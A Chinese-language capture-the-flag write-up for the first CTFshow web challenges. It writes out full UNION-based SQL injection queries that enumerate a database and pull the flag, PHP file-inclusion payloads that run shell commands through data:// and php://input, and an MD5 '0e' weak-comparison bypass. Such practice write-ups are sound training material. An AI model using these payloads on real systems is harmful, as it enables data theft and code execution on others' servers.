CTFshow_WEB

CTFshow_WEB

简介

发现做题还挺有意思的,当然,出题就没意思了

题目地址:https://ctf.show/challenges

wp

按顺序做题

web签到题

F12开发者工具,找到flag

image-20210801181150932

burp的decode模块,base64解密

image-20210801181316698

web2

最简单的sql注入

  1. 查当前数据库名称
1
' or 1=1 union select 1,database(),3 limit 1,2;#-- 

得到数据库名称web2

  1. 查看数据库表的数量
1
' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#-- 

得到数据库表数量为2

  1. 查表的名字

第一个表:

1
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#-- 

得到表名:flag

第二个表:

1
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#-- 

得到表名:user

  1. 查flag表列的数量
1
' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

只有1列

  1. 查flag表列的名字
1
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

列名为flag

  1. 查flag表记录的数量
1
' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#-- 

只有一条记录

  1. 查flag表记录值
1
' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#-- 

得到flag

web3

查看:PHP伪协议总结 - SegmentFault 思否

Web安全实战系列:文件包含漏洞 - FreeBuf网络安全行业门户

这个绕过方法很多:

  1. payload:?url=data://text/plain,<?php @eval(system('cat ctf_go_go_go'));?>

  2. payload:?url=php:\\input
    image-20210801184946681

web4

与上一题相似,但是增加了更多的条件

日志包含漏洞,所以burp

web5

在php中,变量都是弱类型的(就是不指定特定数据类型的)

使用if判等的时候要格外小心,使用特殊的参数可能会使本来不相等的if判断位相等

参考:常见的MD5碰撞:md5值为0e开头

在php中0e会被当做科学计数法,就算后面有字母,其结果也是0,所以上面的if判断结果使true,成功绕过

image-20210801181459378

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2021 Sung
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信